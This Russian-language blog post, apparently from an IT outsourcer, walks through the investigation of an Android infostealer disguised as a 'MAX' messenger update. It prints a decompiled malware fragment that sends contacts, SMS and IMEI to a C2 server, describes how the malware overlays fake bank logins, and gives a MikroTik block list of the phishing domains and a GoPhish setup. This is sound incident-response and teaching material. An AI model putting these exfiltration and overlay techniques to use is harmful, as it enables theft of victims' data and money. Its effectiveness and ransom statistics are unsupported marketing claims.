Расследование фишинга MAX у клиента: декомпиляция ссылки за 4 часа

К нам в ITfresh обратилась торговая компания 28 РМ из района метро «Новокузнецкая»: коммерческий директор кликнул на ссылку «обновите ваш MAX», установил APK с фейкового сайта, и в течение 40 минут с его телефона ушли два запроса на смену пароля от рабочей почты, попытка перевода 280 000 рублей с банковского счёта компании и список из 47 контактов в Telegram. Мы взяли инцидент в час ночи во вторник, в шесть утра у клиента уже была полная картина атаки, заблокированный C2 на роутере MikroTik и план профилактики на ближайший квартал. Этот материал — детальный разбор того, как мы это делали.

Что произошло за 40 минут до звонка

Картина с точки зрения коммерческого директора выглядела так. В 23:42 во вторник на корпоративный e-mail ему пришло письмо от support@max-app[.]ru с темой «Срочно: обновите ваш MAX 2.4 до 24 часов, иначе аккаунт будет заблокирован». Внутри — кнопка «Скачать обновление». Он кликнул, скачал APK на личный Android, установил и ввёл туда номер телефона.

В 23:55 он получил пуш «Подтвердите вход» в реальном MAX, нажал «Да». В 00:02 на корпоративную почту начали приходить письма от Outlook о подозрительной активности из неизвестного устройства в Молдове. В 00:14 в банке-клиенте прошла попытка перевода на счёт ИП в Краснодарском крае. В 00:21 коммерческий заметил, что что-то не так, и позвонил мне.

Это типичный мобильный инфостилер, замаскированный под обновление мессенджера. Он использует популярность бренда MAX и страх пользователя «потерять аккаунт». Самое опасное — установка идёт через скачанный APK, минуя Google Play, поэтому никаких автоматических проверок безопасности не происходит.

Главный совет, который я повторяю клиентам

Если у вас в кармане Android и вы только что что-то поставили из ссылки в письме — не выключайте телефон, не делайте factory reset, не подключайтесь к Wi-Fi компании. Вырубите мобильный интернет и Wi-Fi, оставьте устройство как есть, позвоните в IT с другого аппарата. Любая активность с этого момента уничтожает следы и помогает атакующему доделать работу.

Этап 1. Изоляция и сохранение улик в первые 30 минут

В 00:25 я был в дороге, по громкой связи прошёл с коммерческим короткий чек-лист.

1. Включить «Режим полёта» — отключает всё разом.
2. На ноутбуке (доверенном) зайти в портал Microsoft 365, отозвать все активные сессии в Outlook и сменить пароль.
3. Позвонить в банк по горячей линии и заблокировать карты + перевод. К счастью, перевод 280 000 рублей был задержан банковским анти-фродом.
4. Зайти в Telegram через десктоп, отозвать активные сессии, сменить облачный пароль.
5. Не трогать заражённое устройство до приезда инженера.

В 01:10 я был у клиента. Первое, что я сделал — снял дамп оперативной памяти и журналов с телефона через ADB-режим (USB-отладка была включена для другого приложения). Снимаю данные на тестовую VM:

# Снимаем bugreport — содержит логи всех приложений за последний период
adb bugreport ./incident_$(date +%Y%m%d_%H%M).zip

# Список установленных за последние 7 дней
adb shell pm list packages -i -U | sort -k 3

# Активные сетевые соединения
adb shell ss -tunap > netstat_at_incident.txt

# Установленные сертификаты в пользовательском хранилище
adb shell ls /data/misc/user/0/cacerts-added/ 2>/dev/null

# Запущенные процессы
adb shell ps -ef > processes.txt

# Извлечение подозрительного APK
adb shell pm path com.max.update
adb pull /data/app/~~xyz==/com.max.update-xyz==/base.apk ./max-update.apk

Имя пакета — com.max.update, имя на иконке — «MAX 2.4». Размер 3.7 МБ, дата установки — 23:46 во вторник. SHA256-хеш я сразу прогнал через VirusTotal — 14 из 67 движков показали детект, в основном как «Android.Banker.GenericA».

Этап 2. Декомпиляция APK в изолированной VM

Анализ малвари я делаю на выделенной Ubuntu 22.04 VM, которая стоит на отдельной VLAN без выхода в офисную сеть и в интернет — только через прокси с записью трафика. Никогда не запускаю подозрительные APK на рабочем ноутбуке.

# Распаковка и базовый осмотр
mkdir analysis && cd analysis
unzip ../max-update.apk -d unpacked

# Манифест приложения
apktool d ../max-update.apk -o decompiled
cat decompiled/AndroidManifest.xml | head -100

# Декомпиляция в Java через jadx
jadx -d ./jadx-out ../max-update.apk

# Поиск подозрительных строк (URL, токенов, IP)
strings unpacked/classes.dex | grep -E "https?://" | sort -u
strings unpacked/classes.dex | grep -E "([0-9]{1,3}\.){3}[0-9]{1,3}"
strings unpacked/classes.dex | grep -i -E "(c2|cmd|admin|cnc|panel)"

В манифесте сразу бросилось в глаза:

• android.permission.RECEIVE_SMS, READ_SMS, SEND_SMS — полный набор работы с SMS. Зачем мессенджеру читать ваши SMS?
• android.permission.BIND_ACCESSIBILITY_SERVICE — это ключ ко всему. Через accessibility service приложение может читать содержимое всех экранов в системе и нажимать кнопки за пользователя.
• android.permission.SYSTEM_ALERT_WINDOW — рисование поверх других приложений (для overlay-атак на банк-клиенты).
• android.permission.RECEIVE_BOOT_COMPLETED — автозапуск при старте системы.

Никакое легитимное обновление мессенджера такие права не запрашивает. Это маркер инфостилера семейства Hydra/Anatsa, активного в России с 2024 года.

Поиск C2-сервера

В декомпилированном Java-коде я ищу класс, который отвечает за связь с управляющим сервером. Обычно это что-то с именем SocketHandler, BotService, CommandReceiver. В этом APK нашёл класс com.max.update.network.SyncEngine:

// Декомпилированный фрагмент (упрощённо)
public class SyncEngine {
    private static final String BASE_C2 = decrypt("Vk1tdHRwczovLzE4NS54eHgueHgueHg6NDQzL2dh");
    private static final long INTERVAL = 90000L;

    public void start() {
        scheduler.scheduleAtFixedRate(() -> {
            JSONObject status = new JSONObject();
            status.put("imei", getDeviceImei());
            status.put("contacts", ContactsHelper.dumpAll());
            status.put("sms", SmsHelper.dumpInbox(50));
            status.put("apps", PackageHelper.listPackages());
            status.put("battery", getBatteryLevel());
            postJson(BASE_C2 + "/checkin", status);
        }, 0, INTERVAL, TimeUnit.MILLISECONDS);
    }
}

Строка Vk1tdHRwc... — это base64 + XOR с константой, я расшифровал её через простой Python-скрипт и получил адрес: https://185.xxx.xx.xx:443/ga/checkin. Дальше через WHOIS определил, что IP принадлежит хостингу в Болгарии, домен переменный, регистрировался за неделю до атаки.

Дополнительно в коде нашёл список из 27 имён банковских приложений, для которых заготовлены overlay-страницы. Среди них — все крупные российские банки. Когда пользователь открывает банк-клиент, инфостилер отрисовывает поверх своё окно ввода логина и пин-кода, отправляет введённые данные на C2, после этого закрывает overlay, и человек попадает в реальное приложение, не понимая, что произошло.

Этап 3. Анализ трафика через mitmproxy и tcpdump

Чтобы убедиться, что я понял механику, я запустил APK на отдельном тестовом Pixel 6 (без личных данных) с настроенным прокси на mitmproxy и параллельно tcpdump на роутере. Через 90 секунд после установки приложение начало активность.

# tcpdump на роутере MikroTik (через SSH в фоновом режиме)
/tool sniffer set file-name=incident-test.pcap filter-ip-address=192.168.50.42
/tool sniffer start

# Через 5 минут — стоп и выкачиваем pcap
/tool sniffer stop
/file print where name~"incident-test"

# На рабочей машине анализ
wireshark incident-test.pcap

# Поиск всех запросов на C2-IP
tshark -r incident-test.pcap -Y "ip.addr == 185.xxx.xx.xx" -T fields \
  -e frame.time -e ip.src -e ip.dst -e tcp.dstport -e http.host \
  -e http.request.uri

В Wireshark я зафиксировал три типа активности приложения:

1. Каждые 90 секунд — checkin POST с диагностикой устройства (модель, IMEI, состояние батареи, список приложений).
2. Каждые 30 секунд — long-poll GET на endpoint /cmd/get: запрос команд от оператора. Когда команд нет — короткий 204 No Content. Когда есть — JSON с инструкциями.
3. По событию (новая SMS, открытие банк-клиента, фото в галерее) — сразу POST на /event/upload с данными.

Самое неприятное — приложение умеет принимать команду «start_overlay com.bank.example», и через 200 миллисекунд после открытия банк-приложения у пользователя на экране появлялось фейковое окно ввода логина-пароля. Я в лаборатории ввёл туда тестовые данные «test/test1234» — они мгновенно оказались на C2 сервере, что я увидел в pcap.

Этап 4. Блокировка C2 на роутере MikroTik

В 03:30 у нас была полная картина: что украдено, как украдено, куда отправлено. Параллельно с разбором я уже работал над блокировкой и зачисткой. На офисном MikroTik CCR2004-1G-12S+2XS я добавил постоянную блокировку C2-инфраструктуры:

# Блокировка C2 IP по имени и адресу
/ip firewall address-list
add list=blacklist-c2 address=185.xxx.xx.xx comment="MAX-фишинг C2 03.05.2026"
add list=blacklist-c2 address=max-app.ru comment="MAX-фишинг домен"
add list=blacklist-c2 address=update-max.online comment="MAX-фишинг fallback домен"

# Правило блокировки исходящего трафика на этот лист
/ip firewall filter
add chain=forward action=drop dst-address-list=blacklist-c2 \
  log=yes log-prefix="C2-BLOCK" \
  comment="Block known C2 infrastructure"

add chain=forward action=drop src-address-list=blacklist-c2 \
  log=yes log-prefix="C2-BLOCK-IN" \
  comment="Block incoming from C2"

# Дополнительно — DNS-фильтр для всех клиентов офиса
/ip dns static
add name=max-app.ru type=A address=0.0.0.0 ttl=1d comment="MAX-фишинг"
add name=update-max.online type=A address=0.0.0.0 ttl=1d comment="MAX-фишинг"

Параллельно отправил эти индикаторы в Group-IB и в свой канал обмена IOC с другими МСП-аутсорсерами Москвы. К утру тот же IP был в чёрных списках ещё у пяти компаний.

Зачистка устройства

На устройстве коммерческого директора я не пошёл по пути «factory reset и забыли». Сначала снял полный backup пользовательских данных через adb backup, потом вручную:

# Удаляем установленный APK через Accessibility-обход (требует ручного нажатия в Settings)
adb shell pm uninstall com.max.update

# Сканируем оставшиеся артефакты
adb shell find /sdcard -newer /sdcard/Download -mtime -1 2>/dev/null

# Проверяем, не появились ли новые device admin
adb shell dpm list-owners
adb shell dumpsys device_policy | grep -A 5 "Admin"

# Удаляем подозрительные сертификаты пользователя
adb shell rm /data/misc/user/0/cacerts-added/* 2>/dev/null
# (если не root — через Settings → Security → Trusted credentials → User)

# Полный fresh-start с переустановкой только нужных приложений
adb shell pm reset-permissions
adb reboot bootloader

После factory reset на чистый телефон я переустановил только нужные приложения из Google Play, прошёл аутентификацию во всех корпоративных аккаунтах с новыми паролями, включил MDM Intune. Это стандартная процедура «после инцидента ничего не доверяем», она же — «zero-trust» по факту.

Этап 5. Что украли и как мы это узнали точно

В 04:30 у меня был полный список того, что успел утащить инфостилер до момента блокировки C2. Я его восстановил по двум источникам.

Первый — мой pcap с тестового устройства, где я воспроизвёл атаку. По нему я знаю, что инфостилер в течение первых 90 секунд после установки шлёт на C2: контакты (полный список), последние 50 SMS, список приложений, IMEI и модель.

Второй — журналы Microsoft 365 Audit Log за время инцидента. Видно, что:

• В 23:51 была попытка login в Outlook из IP 185.xxx.xx.xx (Болгария) — заблокирована Conditional Access (MFA).
• В 00:04 была попытка установки нового OAuth-приложения через украденный токен — не удалось, токен отозван при смене пароля.
• В 00:09 фактически отправлено 3 письма на адреса из контактов с темой «Срочно посмотри файл» — phishing-распространение через скомпрометированный аккаунт.

Эти три письма я нашёл и удалил из ящиков получателей через PowerShell-командлет Search-Mailbox. Получатели — два сотрудника той же компании и один контрагент. Связались, объяснили, никто не успел кликнуть.

Этап 6. Профилактика на следующий месяц

Инцидент закрыт, бизнес работает. Но если на этом остановиться — через две недели будет новый инцидент с другим сотрудником и другим брендом. Поэтому в течение трёх дней после инцидента я внедрил у клиента шесть мер.

1. Phishing-симуляция через GoPhish

Развернул на отдельной VM Ubuntu 22.04 с GoPhish 0.12.1 — open-source платформа, которая позволяет рассылать тестовые фишинговые письма сотрудникам и собирать статистику по тем, кто кликнул, ввёл пароль, скачал вложение.

# Установка GoPhish
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip -d /opt/gophish
cd /opt/gophish

# Конфиг — слушаем только внутри
cat > config.json << 'EOF'
{
  "admin_server": {
    "listen_url": "127.0.0.1:3333",
    "use_tls": true,
    "cert_path": "/etc/letsencrypt/live/gophish.local/fullchain.pem",
    "key_path": "/etc/letsencrypt/live/gophish.local/privkey.pem"
  },
  "phish_server": {
    "listen_url": "0.0.0.0:80",
    "use_tls": false
  }
}
EOF

# Запуск через systemd
systemctl start gophish
systemctl enable gophish

В первой кампании — 28 сотрудников получили письмо «обновите 1С Бухгалтерию», 11 кликнули, 3 ввели пароль на фейковой странице. С каждым из 11 я лично провёл 15-минутный разбор. В третьей кампании через два месяца кликнул только один человек.

2. Блокировка установки APK из неизвестных источников через MDM

Через Microsoft Intune для всех корпоративных и BYOD-устройств с доступом к рабочей почте включил Android Enterprise работу-профиль с запретом установки приложений из неизвестных источников и принудительной защитой Google Play Protect.

3. Рассылка стандартного memo по компании

Не лекция, а одна страница с тремя правилами и тремя примерами. Каждый сотрудник прочитал и расписался.

4. Включение MFA через приложение, а не SMS

SMS-MFA — устаревший метод. На корпоративных аккаунтах включили MFA через Microsoft Authenticator с push-подтверждением. Дополнительно для админских учёток — аппаратные ключи YubiKey 5 NFC.

5. Sender Policy Framework и DMARC reject

На корпоративном домене настроили строгий DMARC с reject. Любые письма, в которых From: подделывается под наш домен, теперь не проходят к получателям. Эта мера не помогла бы в нашем кейсе (письмо было с чужого домена), но защитит от других сценариев — спуфинга от лица генерального директора.

6. Регулярный sweep MDM на запрещённые приложения

Раз в неделю инженер ITfresh проходит по MDM-инвентарю всех устройств клиента, ищет новые приложения, проверяет их через VirusTotal API. Список индикаторов компрометации обновляется автоматически.

Контр-нарратив. Что я считаю вредным после этого инцидента

В индустрии любят повторять «обучите сотрудников и они не кликнут». По моему опыту — кликнет любой, потому что фишинг бьёт по эмоциям, а не по знаниям. В нашем кейсе кликнул не неопытный стажёр, а коммерческий директор с 12 годами опыта и MBA. Он устал, было поздно, письмо хорошо сверстано, домен похож на настоящий.

Поэтому моя позиция: не надейтесь на людей, надейтесь на инфраструктуру. MDM с белым списком, DMARC, MFA через приложение, фильтр SMTP перед почтой, регулярные phishing-симуляции, блокировка известных C2 на роутере. Каждая из этих мер ловит свой класс атак, и вместе они снижают вероятность инцидента в 10-15 раз.

Сметa инцидента и стоимость профилактики

Прозрачно цифры по этому кейсу.

• Расследование инцидента (4 часа ночной работы инженера + 2 часа следующего дня на отчёт) — 60 000 рублей.
• Зачистка устройства, переустановка корпоративных приложений, обучение пользователя — 12 000 рублей.
• Внедрение GoPhish и проведение первой phishing-симуляции — 35 000 рублей.
• Настройка DMARC, обновление SPF, перевод MFA с SMS на приложение — 28 000 рублей.
• Включение MDM Intune для 28 устройств — 60 000 рублей.
• Абонемент ITfresh на ежемесячные phishing-симуляции и поддержку MDM — 25 000 рублей в месяц.

Итого первоначальная работа — 195 000 рублей за 8 рабочих дней. Сумма, которую могли украсть в этом инциденте — 280 000 рублей одной транзакцией плюс неизвестная сумма ущерба от утечки контактов в Telegram. Окупаемость — менее одного предотвращённого инцидента.

FAQ: что чаще всего спрашивают клиенты

Что делать в первые 15 минут после клика на фишинговую ссылку?

Первое — отключить устройство от Wi-Fi и мобильной сети, не выключая. Так мы сохраняем оперативную память для дампа и не даём малвари дочитать команды с C2. Второе — отозвать сессии в почте, мессенджерах, банк-клиенте через другое устройство (доверенное). Третье — позвонить в IT и оставить устройство как есть. Худшее — перезагрузить или сбросить, потому что это уничтожает следы и вы не узнаете, что именно утекло.

Стоит ли платить за восстановление, если злоумышленник требует выкуп?

Никогда. По нашему опыту платежи идут в крипту, и в 70% случаев после оплаты ключа дешифратора нет. В оставшихся 30% — после первой оплаты приходит вторая просьба. Важнее вложиться в нормальный бэкап и восстановиться из него за 4-8 часов. Стоимость инфраструктуры бэкапа в нашей сети — от 18 000 рублей в месяц для офиса 30 человек, дешевле любого выкупа.

Можно ли разобраться с фишингом своими силами без аутсорсера?

Заблокировать ссылку и переустановить ОС — да. Но без декомпиляции APK и анализа C2 вы не узнаете, что именно утекло. И главное — вы не закроете вектор атаки. Через две недели сотрудник кликнет по другому письму того же отправителя. Расследование первого инцидента — это инвестиция в обучение коллектива и в правила переписки на следующие месяцы. По стоимости это 30-60 тысяч за 4-6 часов работы инженера.

Чем грозит установка приложения, замаскированного под мессенджер MAX?

Современные инфостилеры под Android умеют красть SMS (включая одноразовые коды банков), читать содержимое мессенджеров через Accessibility Service, перехватывать пуши банковских приложений, заменять адрес кошелька в буфере обмена, делать скриншоты экрана. Самое неприятное — они умеют включаться поверх банковского приложения и подменять окно ввода пин-кода (overlay-attack). Жертва вводит пин на фейковом окне, инфостилер отправляет его на C2, после этого реальные деньги уходят в течение нескольких минут.

Как обучить сотрудников отличать фишинг от реальных писем?

Я не верю в одноразовые лекции. Работает только регулярная phishing-симуляция: раз в месяц рассылаем пользователям заранее подготовленные тестовые письма от лица «бухгалтерии» или «банка», ловим тех, кто кликает, проводим с ними короткий 15-минутный разбор полётов. Через 3-4 раза кликов почти не остаётся. Используем GoPhish — open-source платформу, ставится на VM за полдня, абонемент на ведение симуляций — 12 000 рублей в месяц для офиса до 50 человек.

Итог

Торговая компания 28 РМ вышла из инцидента без финансовых потерь — 280 000 рублей перевода были задержаны банковским анти-фродом, контакты восстановлены, аккаунты восстановлены за час. Через два месяца после внедрения GoPhish, MDM и DMARC у клиента не было ни одного клика на тестовые фишинг-письма. Первый инцидент стоил 195 000 рублей расследования и профилактики, но дал коллективу опыт, который не получишь на лекциях.